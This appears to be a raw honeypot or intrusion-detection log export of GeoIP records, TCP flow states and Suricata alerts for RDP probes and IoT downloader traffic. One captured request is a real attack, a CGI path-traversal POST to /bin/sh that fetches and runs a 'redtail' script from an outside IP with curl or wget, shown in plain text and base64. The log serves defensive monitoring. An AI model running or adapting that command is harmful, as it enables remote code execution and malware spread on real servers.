{'ip': '146.19.24.85', 'asn': 201814, 'as_org': 'MEVSPACE sp. z o.o.', 'latitude': 52.2394, 'continent_code': 'EU', 'country_name': 'Poland', 'country_code2': 'PL', 'country_code3': 'PL', 'timezone': 'Europe/Warsaw', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'longitude': 21.0362}

cli


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}

{'tcp_flags_ts': '1b', 'fin': True, 'state': 'closed', 'syn': True, 'tcp_flags': '1b', 'tc_max_regions': 1, 'ts_max_regions': 1, 'ack': True, 'tcp_flags_tc': '1b', 'psh': True}


{'severity': 3, 'category': 'Generic Protocol Command Decode', 'action': 'allowed', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'metadata': {'confidence': ['Medium'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08'], 'signature_severity': ['Informational']}, 'cve_id': 'CVE-2001-0540', 'gid': 1, 'rev': 15}


{'severity': 3, 'signature_id': 2001329, 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_07_30'], 'updated_at': ['2024_03_07'], 'confidence': ['High']}, 'category': 'Misc activity', 'signature': 'ET INFO RDP connection request', 'action': 'allowed', 'gid': 1, 'rev': 10}

{'country_code2': 'DE', 'timezone': 'Europe/Berlin', 'location': {'lon': 8.9376, 'lat': 47.7981}, 'ip': '78.42.123.210', 'latitude': 47.7981, 'postal_code': '78256', 'asn': 3209, 'continent_code': 'EU', 'country_code3': 'DE', 'country_name': 'Germany', 'longitude': 8.9376, 'region_name': 'Baden-Wurttemberg', 'region_code': 'BW', 'as_org': 'Vodafone GmbH', 'city_name': 'Steißlingen'}


srv


{'postal_code': '86090', 'as_org': 'UNINET', 'country_code3': 'MX', 'latitude': 17.9776, 'asn': 8151, 'longitude': -92.9221, 'region_code': 'TAB', 'continent_code': 'NA', 'timezone': 'America/Mexico_City', 'ip': '189.230.100.92', 'country_code2': 'MX', 'city_name': 'Centro Municipality', 'location': {'lat': 17.9776, 'lon': -92.9221}, 'country_name': 'Mexico', 'region_name': 'Tabasco'}


{'as_org': 'Railnet LLC', 'ip': '77.90.135.11', 'country_name': 'Türkiye', 'country_code3': 'TR', 'location': {'lon': 28.9645, 'lat': 41.0019}, 'country_code2': 'TR', 'asn': 214943, 'region_name': 'Istanbul', 'continent_code': 'AS', 'postal_code': '34134', 'timezone': 'Europe/Istanbul', 'latitude': 41.0019, 'region_code': '34', 'city_name': 'Istanbul', 'longitude': 28.9645}

srv


{'country_name': 'United States', 'longitude': -97.822, 'country_code2': 'US', 'ip': '173.249.158.10', 'latitude': 37.751, 'asn': 36444, 'timezone': 'America/Chicago', 'as_org': 'NEXCESS-NET', 'country_code3': 'US', 'continent_code': 'NA', 'location': {'lon': -97.822, 'lat': 37.751}}

{'tcp_flags_tc': '1b', 'tcp_flags': '1b', 'ts_max_regions': 1, 'tc_max_regions': 1, 'fin': True, 'psh': True, 'syn': True, 'state': 'closed', 'tcp_flags_ts': '1b', 'ack': True}


{'continent_code': 'AS', 'country_code3': 'VN', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_name': 'Vietnam', 'timezone': 'Asia/Bangkok', 'ip': '124.197.22.167', 'asn': 140766, 'latitude': 16.1667, 'as_org': 'FPT Smart Cloud Company Limited', 'longitude': 107.8333, 'country_code2': 'VN'}

cli


{'latitude': 13.8582, 'country_code2': 'TH', 'longitude': 100.478, 'timezone': 'Asia/Bangkok', 'country_name': 'Thailand', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'continent_code': 'AS', 'asn': 7470, 'city_name': 'Bangkok', 'country_code3': 'TH', 'region_code': '10', 'ip': '61.91.163.146', 'location': {'lat': 13.8582, 'lon': 100.478}, 'postal_code': '10250', 'region_name': 'Bangkok'}

cli


{'city_name': 'Frankfurt am Main', 'timezone': 'Europe/Berlin', 'region_name': 'Hesse', 'ip': '89.35.130.86', 'asn': 214309, 'longitude': 8.6837, 'postal_code': '60313', 'country_code2': 'DE', 'location': {'lon': 8.6837, 'lat': 50.1169}, 'latitude': 50.1169, 'country_name': 'Germany', 'region_code': 'HE', 'as_org': 'Aurorix Gaming Solutions Limited', 'country_code3': 'DE', 'continent_code': 'EU'}

{'tcp_flags': '1b', 'psh': True, 'ack': True, 'tc_max_regions': 1, 'syn': True, 'ts_max_regions': 1, 'fin': True, 'state': 'time_wait', 'tcp_flags_ts': '1b', 'tcp_flags_tc': '1b'}


{'location': {'lon': 4.9392, 'lat': 52.352}, 'postal_code': '1098', 'longitude': 4.9392, 'ip': '188.226.148.205', 'country_name': 'The Netherlands', 'country_code3': 'NL', 'country_code2': 'NL', 'region_code': 'NH', 'timezone': 'Europe/Amsterdam', 'latitude': 52.352, 'asn': 14061, 'continent_code': 'EU', 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Amsterdam', 'region_name': 'North Holland'}


{'location': {'lat': 42.696, 'lon': 23.332}, 'longitude': 23.332, 'as_org': 'Dm Auto Eood', 'latitude': 42.696, 'timezone': 'Europe/Sofia', 'continent_code': 'EU', 'country_name': 'Bulgaria', 'ip': '79.124.62.122', 'country_code2': 'BG', 'asn': 207812, 'country_code3': 'BG'}


{'city_name': 'Moscow', 'postal_code': '129346', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'country_code2': 'RU', 'asn': 8492, 'country_code3': 'RU', 'ip': '185.195.242.249', 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'region_name': 'Moscow', 'latitude': 55.7487, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'OBIT Ltd.'}

cli


{'country_name': 'Poland', 'latitude': 52.2394, 'country_code2': 'PL', 'asn': 201814, 'country_code3': 'PL', 'continent_code': 'EU', 'longitude': 21.0362, 'as_org': 'MEVSPACE sp. z o.o.', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'ip': '146.19.24.85', 'timezone': 'Europe/Warsaw'}

srv


{'latitude': 16.1667, 'timezone': 'Asia/Bangkok', 'asn': 135921, 'country_code2': 'VN', 'country_name': 'Vietnam', 'country_code3': 'VN', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'continent_code': 'AS', 'as_org': 'Maxserver Company Limited', 'longitude': 107.8333, 'ip': '103.45.233.110'}

{'ts_max_regions': 1, 'tc_max_regions': 1, 'ack': True, 'ecn': True, 'fin': True, 'tcp_flags': 'db', 'state': 'closed', 'tcp_flags_ts': 'db', 'tcp_flags_tc': '1b', 'psh': True, 'syn': True, 'cwr': True}


{'severity': 2, 'signature_id': 2029011, 'metadata': {'signature_severity': ['Minor'], 'affected_product': ['Linux'], 'attack_target': ['IoT'], 'confidence': ['Medium'], 'deployment': ['Perimeter'], 'created_at': ['2019_11_20'], 'updated_at': ['2020_11_04']}, 'category': 'Potentially Bad Traffic', 'signature': 'ET HUNTING Generic IOT Downloader Malware in POST (Inbound)', 'action': 'allowed', 'gid': 1, 'rev': 3}

{'country_code2': 'SO', 'timezone': 'Africa/Mogadishu', 'location': {'lon': 45.3462, 'lat': 2.0329}, 'ip': '197.220.93.115', 'latitude': 2.0329, 'asn': 37371, 'continent_code': 'AF', 'country_code3': 'SO', 'country_name': 'Somalia', 'longitude': 45.3462, 'region_name': 'Banaadir', 'region_code': 'BN', 'as_org': 'HORMUUD', 'city_name': 'Mogadishu'}

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 71.142.174.168:80
Accept: */*
Upgrade-Insecure-Requests: 1
User-Agent: libredtail-http
Connection: keep-alive
Content-Type: text/plain
Content-Length: 181

cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh apache.selfrep; rm -rf redtail.sh

{'length': 0, 'http_request_body': 'Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcDsgY3VybCBodHRwOi8vMTc4LjE2LjU1LjIyNC9zaCAtbyByZWR0YWlsLnNoIHx8IHdnZXQgaHR0cDovLzE3OC4xNi41NS4yMjQvc2ggLU8gcmVkdGFpbC5zaDsgY2htb2QgK3ggcmVkdGFpbC5zaDsgLi9yZWR0YWlsLnNoIGFwYWNoZS5zZWxmcmVwOyBybSAtcmYgcmVkdGFpbC5zaA==', 'protocol': 'HTTP/1.1', 'hostname': '71.142.174.168', 'url': '/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh', 'http_port': 80, 'http_method': 'POST', 'http_request_body_printable': 'cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh apache.selfrep; rm -rf redtail.sh', 'http_user_agent': 'libredtail-http'}


{'country_name': 'United States', 'continent_code': 'NA', 'latitude': 37.751, 'timezone': 'America/Chicago', 'longitude': -97.822, 'country_code3': 'US', 'as_org': 'CENSYS-ARIN-01', 'asn': 398324, 'country_code2': 'US', 'location': {'lat': 37.751, 'lon': -97.822}, 'ip': '167.94.138.106'}

{'tc_max_regions': 1, 'tcp_flags_tc': '00', 'state': 'syn_sent', 'ts_max_regions': 1, 'tcp_flags_ts': '02', 'tcp_flags': '02', 'syn': True}


{'country_name': 'Singapore', 'longitude': 103.6839, 'country_code2': 'SG', 'ip': '157.230.241.242', 'postal_code': '62', 'latitude': 1.314, 'asn': 14061, 'timezone': 'Asia/Singapore', 'city_name': 'Singapore', 'as_org': 'DIGITALOCEAN-ASN', 'country_code3': 'SG', 'continent_code': 'AS', 'location': {'lon': 103.6839, 'lat': 1.314}}

cli


{'longitude': 107.8333, 'as_org': 'Branch of Long Van System Solution JSC - Hanoi', 'country_name': 'Vietnam', 'country_code3': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 131423, 'continent_code': 'AS', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'ip': '103.2.225.131'}


{'signature': 'ET HUNTING RDP Authentication Bypass Attempt', 'target': {'port': 5500, 'ip': '10.31.40.21'}, 'category': 'Attempted Administrator Privilege Gain', 'severity': 1, 'source': {'port': 65103, 'ip': '194.0.234.12'}, 'rev': 3, 'metadata': {'signature_severity': ['Major'], 'deployment': ['Internal', 'Perimeter'], 'mitre_technique_id': ['T1190'], 'mitre_tactic_id': ['TA0001'], 'created_at': ['2022_01_04'], 'updated_at': ['2022_05_03'], 'mitre_tactic_name': ['Initial_Access'], 'affected_product': ['Microsoft_Terminal_Server_RDP'], 'tag': ['Description_Generated_By_Proofpoint_Nexus'], 'mitre_technique_name': ['Exploit_Public_Facing_Application'], 'confidence': ['High']}, 'signature_id': 2034857, 'action': 'allowed', 'gid': 1}

{'continent_code': 'AS', 'country_code3': 'IR', 'location': {'lat': 35.698, 'lon': 51.4115}, 'country_name': 'Iran', 'timezone': 'Asia/Tehran', 'ip': '194.0.234.12', 'asn': 214295, 'latitude': 35.698, 'as_org': 'Skynet Network Ltd', 'longitude': 51.4115, 'country_code2': 'IR'}


{'country_code3': 'CN', 'continent_code': 'AS', 'ip': '182.44.78.37', 'as_org': 'CHINANET Fujian province Fuzhou IDC network', 'latitude': 34.7732, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'longitude': 113.722, 'country_name': 'China', 'timezone': 'Asia/Shanghai', 'asn': 58772}


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}

cli


{'city_name': 'Amsterdam', 'timezone': 'Europe/Amsterdam', 'region_name': 'North Holland', 'ip': '196.251.66.163', 'asn': 401116, 'longitude': 4.9728, 'postal_code': '1106', 'country_code2': 'NL', 'location': {'lon': 4.9728, 'lat': 52.2986}, 'latitude': 52.2986, 'country_name': 'The Netherlands', 'region_code': 'NH', 'as_org': 'NYBULA', 'country_code3': 'NL', 'continent_code': 'EU'}

srv


srv


{'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'asn': 135905, 'country_code3': 'VN', 'ip': '103.149.98.225', 'timezone': 'Asia/Bangkok', 'continent_code': 'AS', 'country_name': 'Vietnam', 'latitude': 16.1667, 'longitude': 107.8333, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP'}


{'gid': 1, 'severity': 1, 'category': 'Attempted Administrator Privilege Gain', 'signature': 'ET HUNTING RDP Authentication Bypass Attempt', 'signature_id': 2034857, 'rev': 3, 'action': 'allowed', 'source': {'ip': '194.0.234.12', 'port': 65455}, 'target': {'ip': '10.31.40.21', 'port': 5877}, 'metadata': {'affected_product': ['Microsoft_Terminal_Server_RDP'], 'created_at': ['2022_01_04'], 'mitre_technique_name': ['Exploit_Public_Facing_Application'], 'mitre_tactic_name': ['Initial_Access'], 'mitre_technique_id': ['T1190'], 'tag': ['Description_Generated_By_Proofpoint_Nexus'], 'updated_at': ['2022_05_03'], 'deployment': ['Internal', 'Perimeter'], 'mitre_tactic_id': ['TA0001'], 'signature_severity': ['Major'], 'confidence': ['High']}}

{'location': {'lon': 51.4115, 'lat': 35.698}, 'country_code3': 'IR', 'continent_code': 'AS', 'country_name': 'Iran', 'country_code2': 'IR', 'longitude': 51.4115, 'timezone': 'Asia/Tehran', 'as_org': 'Skynet Network Ltd', 'asn': 214295, 'ip': '194.0.234.12', 'latitude': 35.698}


{'continent_code': 'NA', 'location': {'lat': 43.6319, 'lon': -79.3716}, 'country_code2': 'CA', 'latitude': 43.6319, 'country_name': 'Canada', 'country_code3': 'CA', 'ip': '198.27.107.173', 'timezone': 'America/Toronto', 'asn': 16276, 'as_org': 'OVH SAS', 'longitude': -79.3716}

srv


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}

cli


{'ip': '146.19.24.85', 'asn': 201814, 'as_org': 'MEVSPACE sp. z o.o.', 'latitude': 52.2394, 'continent_code': 'EU', 'country_name': 'Poland', 'country_code2': 'PL', 'country_code3': 'PL', 'timezone': 'Europe/Warsaw', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'longitude': 21.0362}

srv


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}

{'hostname': '71.142.174.168', 'http_port': 10002, 'protocol': 'HTTP/1.1', 'http_method': 'POST', 'url': '/_search/scroll', 'http_user_agent': 'elasticsearch-py/8.0.0 (Python/3.12.2; elastic-transport/8.17.1)', 'status': 200, 'http_content_type': 'application/vnd.elasticsearch+json', 'length': 3940}

{'stored': False, 'state': 'CLOSED', 'filename': '/_search/scroll', 'magic': 'JSON text data', 'gaps': False, 'size': 1666, 'tx_id': 0, 'md5': 'e5cb894b5a3f8a750545072e1dab1dca'}


{'latitude': 35.0, 'timezone': 'Asia/Damascus', 'asn': 29256, 'country_code2': 'SY', 'country_name': 'Syria', 'country_code3': 'SY', 'location': {'lon': 38.0, 'lat': 35.0}, 'continent_code': 'AS', 'as_org': 'Syrian Telecommunication Private Closed Joint Stock Company', 'longitude': 38.0, 'ip': '91.144.21.210'}

cli


{'gaps': False, 'md5': '970163f918ae52640350b0ecad321683', 'tx_id': 0, 'magic': 'ASCII text, with no line terminators', 'size': 181, 'filename': '/bin/sh', 'stored': False, 'state': 'CLOSED'}


{'country_name': 'Germany', 'continent_code': 'EU', 'latitude': 51.2993, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'country_code3': 'DE', 'as_org': 'Railnet LLC', 'asn': 214943, 'country_code2': 'DE', 'location': {'lat': 51.2993, 'lon': 9.491}, 'ip': '213.209.157.11'}


{'as_org': 'Railnet LLC', 'ip': '77.90.135.11', 'country_name': 'Türkiye', 'country_code3': 'TR', 'location': {'lon': 28.9645, 'lat': 41.0019}, 'country_code2': 'TR', 'asn': 214943, 'region_name': 'Istanbul', 'continent_code': 'AS', 'postal_code': '34134', 'timezone': 'Europe/Istanbul', 'latitude': 41.0019, 'region_code': '34', 'city_name': 'Istanbul', 'longitude': 28.9645}

cli


{'country_name': 'Germany', 'longitude': 9.491, 'country_code2': 'DE', 'ip': '212.95.43.232', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'as_org': 'Leaseweb Deutschland GmbH', 'country_code3': 'DE', 'continent_code': 'EU', 'location': {'lon': 9.491, 'lat': 51.2993}}

srv


cli


{'location': {'lon': 139.6899, 'lat': 35.6893}, 'latitude': 35.6893, 'longitude': 139.6899, 'region_code': '13', 'country_name': 'Japan', 'ip': '8.216.65.225', 'region_name': 'Tokyo', 'timezone': 'Asia/Tokyo', 'as_org': 'Alibaba US Technology Co., Ltd.', 'postal_code': '102-0082', 'asn': 45102, 'city_name': 'Tokyo', 'country_code2': 'JP', 'continent_code': 'AS', 'country_code3': 'JP'}

{'tc_max_regions': 1, 'state': 'closed', 'tcp_flags_ts': '1e', 'fin': True, 'psh': True, 'ack': True, 'ts_max_regions': 1, 'tcp_flags': '1f', 'tcp_flags_tc': '1b', 'syn': True, 'rst': True}


{'country_code3': 'DE', 'city_name': 'Falkenstein', 'latitude': 50.4777, 'postal_code': '08223', 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'continent_code': 'EU', 'region_name': 'Saxony', 'ip': '195.201.247.59', 'country_code2': 'DE', 'region_code': 'SN', 'country_name': 'Germany', 'location': {'lon': 12.3649, 'lat': 50.4777}}


{'region_code': 'NH', 'continent_code': 'EU', 'country_code3': 'NL', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'country_name': 'The Netherlands', 'timezone': 'Europe/Amsterdam', 'ip': '196.251.66.162', 'asn': 401116, 'latitude': 52.2986, 'as_org': 'NYBULA', 'postal_code': '1106', 'longitude': 4.9728, 'country_code2': 'NL', 'region_name': 'North Holland', 'city_name': 'Amsterdam'}

srv


{'longitude': 107.8333, 'ip': '103.173.66.32', 'country_name': 'Vietnam', 'country_code3': 'VN', 'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 38732, 'continent_code': 'AS', 'as_org': 'CMC Telecom Infrastructure Company', 'location': {'lon': 107.8333, 'lat': 16.1667}}

cli


{'location': {'lat': 42.696, 'lon': 23.332}, 'longitude': 23.332, 'as_org': 'Dm Auto Eood', 'latitude': 42.696, 'timezone': 'Europe/Sofia', 'continent_code': 'EU', 'country_name': 'Bulgaria', 'ip': '79.124.62.122', 'country_code2': 'BG', 'asn': 207812, 'country_code3': 'BG'}

srv


{'city_name': 'North Bergen', 'postal_code': '07047', 'location': {'lat': 40.7964, 'lon': -74.0203}, 'country_code2': 'US', 'asn': 14061, 'country_code3': 'US', 'ip': '143.198.165.234', 'timezone': 'America/New_York', 'continent_code': 'NA', 'country_name': 'United States', 'region_name': 'New Jersey', 'dma_code': 501, 'latitude': 40.7964, 'region_code': 'NJ', 'longitude': -74.0203, 'as_org': 'DIGITALOCEAN-ASN'}

srv


{'latitude': 60.1719, 'region_name': 'Uusimaa', 'country_code3': 'FI', 'continent_code': 'EU', 'region_code': '18', 'country_name': 'Finland', 'country_code2': 'FI', 'longitude': 24.9347, 'timezone': 'Europe/Helsinki', 'postal_code': '00191', 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'city_name': 'Helsinki', 'ip': '135.181.216.152', 'location': {'lon': 24.9347, 'lat': 60.1719}}

srv


srv


{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'CTG Server Limited', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '192.252.183.48', 'latitude': 37.751, 'asn': 152194}

{'protocol': 'ssl', 'tx_id': 2, 'event_type': 'initial_response'}


{'region_name': 'City of London', 'latitude': 51.5164, 'timezone': 'Europe/London', 'country_code2': 'GB', 'country_code3': 'GB', 'city_name': 'City of London', 'region_code': 'LND', 'country_name': 'United Kingdom', 'postal_code': 'EC4R', 'asn': 202306, 'location': {'lon': -0.093, 'lat': 51.5164}, 'continent_code': 'EU', 'as_org': 'Hostglobal.plus Ltd', 'longitude': -0.093, 'ip': '78.153.140.151'}

{'ts_max_regions': 1, 'tc_max_regions': 1, 'ack': True, 'fin': True, 'tcp_flags': '1f', 'state': 'closed', 'tcp_flags_ts': '1f', 'tcp_flags_tc': '1b', 'psh': True, 'syn': True, 'rst': True}


{'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'ip': '103.149.98.226', 'latitude': 16.1667, 'asn': 135905, 'continent_code': 'AS', 'country_code3': 'VN', 'country_name': 'Vietnam', 'longitude': 107.8333, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP'}

cli


{'postal_code': '86090', 'as_org': 'UNINET', 'country_code3': 'MX', 'latitude': 17.9776, 'asn': 8151, 'longitude': -92.9221, 'region_code': 'TAB', 'continent_code': 'NA', 'timezone': 'America/Mexico_City', 'ip': '189.230.100.92', 'country_code2': 'MX', 'city_name': 'Centro Municipality', 'location': {'lat': 17.9776, 'lon': -92.9221}, 'country_name': 'Mexico', 'region_name': 'Tabasco'}

srv


{'country_name': 'United States', 'longitude': -97.822, 'country_code2': 'US', 'ip': '173.249.158.10', 'latitude': 37.751, 'asn': 36444, 'timezone': 'America/Chicago', 'as_org': 'NEXCESS-NET', 'country_code3': 'US', 'continent_code': 'NA', 'location': {'lon': -97.822, 'lat': 37.751}}

cli


{'longitude': 107.8333, 'as_org': 'Branch of Long Van System Solution JSC - Hanoi', 'country_name': 'Vietnam', 'country_code3': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 131423, 'continent_code': 'AS', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'ip': '103.2.225.131'}

srv


{'country_code3': 'CN', 'city_name': 'Hefei', 'latitude': 31.8696, 'asn': 137698, 'timezone': 'Asia/Shanghai', 'longitude': 117.293, 'as_org': 'HaerbingHeilongjiang Province, P.R.China.', 'continent_code': 'AS', 'region_name': 'Anhui', 'ip': '42.101.44.116', 'country_code2': 'CN', 'region_code': 'AH', 'country_name': 'China', 'location': {'lon': 117.293, 'lat': 31.8696}}


{'continent_code': 'AS', 'country_code3': 'HK', 'location': {'lat': 22.2578, 'lon': 114.1657}, 'country_name': 'Hong Kong', 'timezone': 'Asia/Hong_Kong', 'ip': '45.142.154.38', 'asn': 9465, 'latitude': 22.2578, 'as_org': 'AGOTOZ PTE. LTD.', 'longitude': 114.1657, 'country_code2': 'HK'}

cli


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}

srv


{'location': {'lon': 4.9392, 'lat': 52.352}, 'postal_code': '1098', 'longitude': 4.9392, 'ip': '188.226.148.205', 'country_name': 'The Netherlands', 'country_code3': 'NL', 'country_code2': 'NL', 'region_code': 'NH', 'timezone': 'Europe/Amsterdam', 'latitude': 52.352, 'asn': 14061, 'continent_code': 'EU', 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Amsterdam', 'region_name': 'North Holland'}

srv


{'gid': 1, 'severity': 3, 'category': 'Misc activity', 'signature': 'ET INFO RDP connection request', 'signature_id': 2001329, 'rev': 10, 'action': 'allowed', 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_07_30'], 'updated_at': ['2024_03_07'], 'confidence': ['High']}}


{'continent_code': 'EU', 'location': {'lat': 45.9968, 'lon': 24.997}, 'country_code2': 'RO', 'latitude': 45.9968, 'country_name': 'Romania', 'country_code3': 'RO', 'ip': '45.142.193.166', 'timezone': 'Europe/Bucharest', 'asn': 214295, 'as_org': 'Skynet Network Ltd', 'longitude': 24.997}

srv


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}

srv


{'ip': '146.19.24.85', 'asn': 201814, 'as_org': 'MEVSPACE sp. z o.o.', 'latitude': 52.2394, 'continent_code': 'EU', 'country_name': 'Poland', 'country_code2': 'PL', 'country_code3': 'PL', 'timezone': 'Europe/Warsaw', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'longitude': 21.0362}

srv


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}

cli


{'timezone': 'Asia/Karachi', 'postal_code': '54000', 'longitude': 74.3276, 'city_name': 'Lahore', 'continent_code': 'AS', 'country_code2': 'PK', 'region_code': 'PB', 'as_org': 'Transworld Associates Pvt. Ltd.', 'location': {'lat': 31.5826, 'lon': 74.3276}, 'country_name': 'Pakistan', 'country_code3': 'PK', 'region_name': 'Punjab', 'ip': '110.93.212.253', 'latitude': 31.5826, 'asn': 38193}


{'signature_id': 2101447, 'category': 'Generic Protocol Command Decode', 'gid': 1, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'cve_id': 'CVE-2001-0540', 'severity': 3, 'rev': 15, 'action': 'allowed', 'metadata': {'confidence': ['Medium'], 'signature_severity': ['Informational'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08']}}

{'latitude': 16.1667, 'timezone': 'Asia/Bangkok', 'asn': 135905, 'country_code2': 'VN', 'country_name': 'Vietnam', 'country_code3': 'VN', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'continent_code': 'AS', 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP', 'longitude': 107.8333, 'ip': '103.149.98.225'}


srv


{'signature': 'ET INFO RDP connection request', 'category': 'Misc activity', 'gid': 1, 'signature_id': 2001329, 'rev': 10, 'metadata': {'confidence': ['High'], 'updated_at': ['2024_03_07'], 'signature_severity': ['Informational'], 'created_at': ['2010_07_30']}, 'action': 'allowed', 'severity': 3}

{'region_code': 'SN', 'country_name': 'Germany', 'continent_code': 'EU', 'latitude': 50.4777, 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'country_code3': 'DE', 'city_name': 'Falkenstein', 'postal_code': '08223', 'as_org': 'Hetzner Online GmbH', 'region_name': 'Saxony', 'country_code2': 'DE', 'asn': 24940, 'location': {'lat': 50.4777, 'lon': 12.3649}, 'ip': '195.201.246.167'}


{'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'country_code3': 'TH', 'latitude': 13.9062, 'asn': 7470, 'longitude': 100.4045, 'region_code': '12', 'continent_code': 'AS', 'timezone': 'Asia/Bangkok', 'ip': '61.91.163.146', 'country_code2': 'TH', 'city_name': 'Nonthaburi', 'location': {'lat': 13.9062, 'lon': 100.4045}, 'country_name': 'Thailand', 'region_name': 'Nonthaburi'}

srv


{'as_org': 'Railnet LLC', 'ip': '77.90.135.11', 'country_name': 'Türkiye', 'country_code3': 'TR', 'location': {'lon': 28.9645, 'lat': 41.0019}, 'country_code2': 'TR', 'asn': 214943, 'region_name': 'Istanbul', 'continent_code': 'AS', 'postal_code': '34134', 'timezone': 'Europe/Istanbul', 'latitude': 41.0019, 'region_code': '34', 'city_name': 'Istanbul', 'longitude': 28.9645}

cli


cli


{'country_code3': 'FI', 'city_name': 'Helsinki', 'latitude': 60.1719, 'postal_code': '00191', 'timezone': 'Europe/Helsinki', 'longitude': 24.9347, 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'continent_code': 'EU', 'region_name': 'Uusimaa', 'ip': '95.216.15.123', 'country_code2': 'FI', 'region_code': '18', 'country_name': 'Finland', 'location': {'lon': 24.9347, 'lat': 60.1719}}

